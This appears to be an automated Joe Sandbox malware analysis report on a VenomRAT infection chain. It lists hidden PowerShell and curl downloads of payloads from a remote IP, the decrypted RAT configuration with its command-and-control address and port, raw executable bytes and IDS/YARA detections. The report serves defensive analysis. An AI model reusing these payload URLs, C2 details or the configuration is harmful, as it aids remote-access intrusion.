Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7580, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.cmdline", ProcessId: 7712, ProcessName: csc.exe

Suricata Signatures

ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T07:59:08.493615+0100	2842478	1	Malware Command and Control Activity Detected	157.20.182.177	4449	192.168.2.5	49707	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://147.45.44.131/infopage/trwesf.exe	Avira URL Cloud: Label: malware
Source: http://147.45.44.131/infopage/egq53qs.bat	Avira URL Cloud: Label: malware
Source: http://147.45.44.131/infopage/tvsqyp.exe	Avira URL Cloud: Label: malware
Source: http://147.45.44.131/infopage/trwx.ps1	Avira URL Cloud: Label: malware
Source: http://147.45.44.131/infopage/trwx.ps1?	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.dll

Avira: detection malicious, Label: HEUR/AGEN.1300034

Found malware configuration

Source: 0000000D.00000002.4520096797.0000000003161000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: VenomRAT {"Server": "157.20.182.177", "Port": "4449", "Version": "RAT + hVNC 6.0.5", "MutexName": "qqmnuvsdjshjvhakeih", "Autorun": "false", "Group": "false"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.dll

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 13.2.RegAsm.exe.400000.1.unpack	String decryptor: 4449
Source: 13.2.RegAsm.exe.400000.1.unpack	String decryptor: 157.20.182.177
Source: 13.2.RegAsm.exe.400000.1.unpack	String decryptor: RAT + hVNC 6.0.5
Source: 13.2.RegAsm.exe.400000.1.unpack	String decryptor: false
Source: 13.2.RegAsm.exe.400000.1.unpack	String decryptor: qqmnuvsdjshjvhakeih
Source: 13.2.RegAsm.exe.400000.1.unpack	String decryptor: MIICLjCCAZegAwIBAgIVAPMNUbaXLLtiHcN1m+dlPpK7vns9MA0GCSqGSIb3DQEBDQUAMGIxFTATBgNVBAMMDFZlbm9tIFNlcnZlcjESMBAGA1UECwwJYWxleGVpa3VuMRswGQYDVQQKDBJWZW5vbSBCeSBhbGV4ZWlrdW4xCzAJBgNVBAcMAlNIMQswCQYDVQQGEwJDTjAeFw0yNDAzMTgxNjQ3MjZaFw0zNDEyMjYxNjQ3MjZaMBAxDjAMBgNVBAMMBVZlbm9tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCaTwbFDhuWkASq9P+NWgPLnP41KwsDJJLX7xv2vo4FUXTwpEsoIrbqvSKldDp6m3lNHXNWYqqy0JX1ZnvClJ/gvVpmMCJfzkIDbW0sKPoOMmwx4PjzdNDQbKSSmM6rMMu8tDchwJEfQtMlgGPXFsMnPTYj6xNeMBCjcTIP5gwFCQIDAQABozIwMDAdBgNVHQ4EFgQU06NiTQAo8LSYzcJVCrt9Ah49blwwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQBg3cQkJK1HiQGjHKgDefp3ooSUSiEh+SRWC4Q/Jsp2TsM6Me9+ix/2g+oxV6/rhaeJkcDDCBtnjouhViDhezLBfl3oE0P29Ssq/skwUyjEZDScIepLewWrtQYtjyYbQL/ubsa0hoLDSZaKydxgH8cAtvOvMqE6WjrfEvcVupZLMQ==
Source: 13.2.RegAsm.exe.400000.1.unpack	String decryptor: I3idJ27g/FHkA0ognbd0dTlondGTNCOE+hUa6O6ubQG0f2MYlwhIisMgUCwNX0WJPhGiN48ll5N1Da8AWuYtiXiTj4MVe3KYmdPqKB1IhW+wUjJu2o0wULpp3TH5yBG8GqZnrOSVNkfgyWnyWquUkAM1gbFbivZs3AWOv9HX2TE=
Source: 13.2.RegAsm.exe.400000.1.unpack	String decryptor: null
Source: 13.2.RegAsm.exe.400000.1.unpack	String decryptor: false
Source: 13.2.RegAsm.exe.400000.1.unpack	String decryptor: false
Source: 13.2.RegAsm.exe.400000.1.unpack	String decryptor: Default
Source: 13.2.RegAsm.exe.400000.1.unpack	String decryptor: false
Source: 13.2.RegAsm.exe.400000.1.unpack	String decryptor: false

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbw source: powershell.exe, 00000005.00000002.2212911837.000001C572700000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdb(#_m source: powershell.exe, 00000005.00000002.2211871191.000001C57239D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: SReadline\2.0.0\Microsoft.Powershell.PSReadline.pdb$ source: powershell.exe, 00000005.00000002.2211656982.000001C572371000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.pdb source: powershell.exe, 00000005.00000002.2119654901.000001C501B6E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb] source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: D:\Backup\Venom RAT + HVNC Finally Released 12.03.2024 Fixed Logger\HVNCDll\obj\Release\hvnc.pdb source: powershell.exe, 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.pdbhP source: powershell.exe, 00000005.00000002.2119654901.000001C501B6E000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Child: C:\Windows\System32\curl.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 157.20.182.177:4449 -> 192.168.2.5:49707

Yara detected Generic Downloader

Source: Yara match	File source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.5:49707 -> 157.20.182.177:4449

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 06 Jan 2025 06:59:01 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Sat, 04 Jan 2025 14:21:20 GMTETag: "8a00-62ae21bf2911d"Accept-Ranges: bytesContent-Length: 35328Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b4 a3 26 da 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 80 00 00 00 08 00 00 00 00 00 00 86 9f 00 00 00 20 00 00 00 a0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9f 00 00 4f 00 00 00 00 a0 00 00 d0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 0c 00 00 00 18 9f 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8c 7f 00 00 00 20 00 00 00 80 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 05 00 00 00 a0 00 00 00 06 00 00 00 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 00 00 00 02 00 00 00 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 9f 00 00 00 00 00 00 48 00 00 00 02 00 05 00 b8 21 00 00 60 7d 00 00 03 00 02 00 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 05 00 48 00 00 00 01 00 00 11 28 0f 00 00 0a 03 6f 10 00 00 0a 0a 02 8e 69 8d 15 00 00 01 0b 16 0c 16 0d 2b 25 07 09 02 09 91 06 08 91 61 09 20 00 01 00 00 5d 61 d2 9c 08 07 09 91 06 8e 69 5d 58 06 8e 69 5d 0c 09 17 58 0d 09 02 8e 69 32 d5 07 2a 13 30 02 00 19 00 00 00 02 00 00 11 02 28 11 00 00 0a 03 28 01 00 00 06 0a 28 0f 00 00 0a 06 6f 12 00 00 0a 2a 1e 02 28 13 00 00 0a 2a 00 00 00 13 30 07 00 9e 00 00 00 03 00 00 11 72 01 00 00 70 0a 73 14 00 00 0a 73 15 00 00 0a 0b 07 6f 16 00 00 0a 72 3e 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 17 00 00 0a 26 07 6f 16 00 00 0a 72 60 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 17 00 00 0a 26 07 17 6f 18 00 00 0a 07 17 8d 19 00 00 01 25 16 06 7e 01 00 00 04 28 02 00 00 06 a2 6f 19 00 00 0a 6f 1a 00 00 0a 72 8a 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 1b 00 00 0a 72 ac 73 00 70 7e 01 00 00 04 28 02 00 00 06 6f 1c 00 00 0a 14 14 6f 1d 00 00 0a 26 2a 1e 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 06 Jan 2025 06:59:02 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Sat, 04 Jan 2025 14:17:41 GMTETag: "2fdc00-62ae20ee51758"Accept-Ranges: bytesContent-Length: 3136512Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6e 66 5c 67 00 00 00 00 00 00 00 00 e0 00 02 00 0b 01 08 00 00 ca 2f 00 00 10 00 00 00 00 00 00 ee e8 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 30 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 e8 2f 00 53 00 00 00 00 00 30 00 f7 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 30 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 c8 2f 00 00 20 00 00 00 ca 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f7 0d 00 00 00 00 30 00 00 0e 00 00 00 cc 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 30 00 00 02 00 00 00 da 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 e8 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 18 00 14 00 80 e8 1b 00 01 00 00 00 c5 08 00 06 18 47 12 00 fe b8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c c3 df 8f 3c 11 bd ff 34 87 b1 23 14 56 06 77 83 64 21 f6 ae ea 92 48 41 5a d4 f4 e9 cb 91 b0 af f6 49 f6 31 fe 0b 17 da cb 0b c6 59 cd b0 54 38 44 e3 bf 63 5b db 81 ef 32 94 82 dc bc a4 15 ec 6e 6a 6c 4f ca 73 5d 79 78 af 3c 8f 6d 74 38 2a ad 8e 04 fd f1 d9 42 ea a1 c0 ca 2d 1d 1e 72 49 18 a3 ca 67 a3 fa 83 3a fe 6d c8 00 65 80 c0 b1 cd 1f 89 87 cf a0 e4 6a 7b 55 6d 37 ff 10 39 99 3b 0d 11 ce 24 89 51 57 a9 9a d9 1e d7 41 41 30 56 30 79 d5 68 60 34 62 45 eb b4 89 3d f7 f7 b8 57 00 07 80 c2 18 00 be 4d 9a 26 2c 91 ed 43 ae 09 85 03 3a f6 5d 29 17 23 eb cb 6c ab 41 47 38 e9 42 0d ca 33 4f 29 3b 81 c3 22 e3 f2 4c ad 22 f7 8c 70 ee f5 a1 3c 31 7f 39 3b e3 59 46 98 20 f2 38 66 ea 4b 3f 12 e4 df 04 93 83 92 d6 9e 57 45 77 e8 3a c3 37 69 28 7d 08 d2 97 f4 6a 59 b3 32 a6 5d 75 7b e8 14 ac f8 91 31 43 fd e8 ad 72 7f fc a1 db 68 a8 fe 3a bf 62 e4 a1 05 9f af 76 4a fb 0a d0 aa c3 01 8b a1 6e db ab 11 f6 ba 16 d5 04 d7 8d fd 11 ad d7 35 ab 29 f6 63 b8 1d b1

Source: global traffic	HTTP traffic detected: GET /infopage/trwesf.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/tvsqyp.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131

Source: Joe Sandbox View	IP Address: 147.45.44.131 147.45.44.131
Source: Joe Sandbox View	IP Address: 157.20.182.177 157.20.182.177

Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU
Source: Joe Sandbox View	ASN Name: FCNUniversityPublicCorporationOsakaJP FCNUniversityPublicCorporationOsakaJP

Source: global traffic

HTTP traffic detected: GET /infopage/egq53qs.bat HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.44.131Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131

Source: global traffic	HTTP traffic detected: GET /infopage/egq53qs.bat HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/trwx.ps1 HTTP/1.1Host: 147.45.44.131User-Agent: curl/7.83.1Accept: /X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq
Source: global traffic	HTTP traffic detected: GET /infopage/trwesf.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /infopage/tvsqyp.exe HTTP/1.1X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJqHost: 147.45.44.131

Source: curl.exe, 00000006.00000002.2066950220.0000016FB3BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.4
Source: curl.exe, 00000006.00000002.2066950220.0000016FB3BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.4.131
Source: powershell.exe, 00000005.00000002.2119654901.000001C501940000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44
Source: powershell.exe, 00000000.00000002.2060937357.000001D58DBCD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C5002BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2119654901.000001C501940000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131
Source: powershell.exe, 00000000.00000002.2060937357.000001D58CC53000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2091399569.000001D5A4BFE000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2060937357.000001D58DBCD000.00000004.00000800.00020000.00000000.sdmp, CKi4EZWZsC.ps1	String found in binary or memory: http://147.45.44.131/infopage/egq53qs.bat
Source: curl.exe, 00000006.00000002.2066950220.0000016FB3BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/t
Source: curl.exe, 00000006.00000002.2066950220.0000016FB3BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/td
Source: powershell.exe, 00000005.00000002.2119654901.000001C501940000.00000004.00000800.00020000.00000000.sdmp, curl.exe, 00000006.00000003.2066660159.0000016FB3BE9000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000003.2066625646.0000016FB3BEA000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000002.2067135927.0000016FB3BEA000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000003.2066625646.0000016FB3BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/trwesf.exe
Source: csc.exe, 00000007.00000002.2091986297.000002AC708A9000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000007.00000002.2092343742.000002AC70B10000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000007.00000002.2092314261.000002AC70B00000.00000004.00000020.00020000.00000000.sdmp, cvtres.exe, 00000008.00000002.2090095144.0000022379939000.00000004.00000020.00020000.00000000.sdmp, cvtres.exe, 00000008.00000002.2090125789.0000022379C00000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4532598752.0000000005731000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4537786668.00000000067F0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4514834650.000000000140B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4533567952.00000000057F0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4514342356.0000000001350000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4518357196.00000000015D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/trwx.ps1
Source: curl.exe, 00000006.00000002.2066950220.0000016FB3BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/trwx.ps1?
Source: RegAsm.exe, 0000000D.00000002.4514834650.000000000140B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/trwx.ps1O
Source: RegAsm.exe, 0000000D.00000002.4514342356.0000000001350000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4512742368.00000000012B0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4518357196.00000000015D0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.4533567952.0000000005835000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/trwx.ps1USERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAM
Source: RegAsm.exe, 0000000D.00000002.4532598752.0000000005731000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/trwx.ps1a
Source: curl.exe, 00000006.00000002.2066950220.0000016FB3BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/trwx.ps1m
Source: cvtres.exe, 00000008.00000002.2090125789.0000022379C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/trwx.ps1userdomain=user-PCuserdomain_roamingprofile=user-PCusernam
Source: cvtres.exe, 00000008.00000002.2090095144.0000022379939000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/trwx.ps1userdomain=user-PCuserdomain_roamingprofile=user-PCusyy
Source: curl.exe, 00000006.00000002.2066950220.0000016FB3BB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/trwx.ps1w
Source: powershell.exe, 00000005.00000002.2206438069.000001C570470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/infopage/trwx.ps1x
Source: powershell.exe, 00000005.00000002.2119654901.000001C501B6E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2090529593.000002AC70938000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2090421070.000002AC70938000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000007.00000003.2091362589.000002AC7231B000.00000004.00001000.00020000.00000000.sdmp, ivm1acbc.0.cs.5.dr	String found in binary or memory: http://147.45.44.131/infopage/tvsqyp.exe
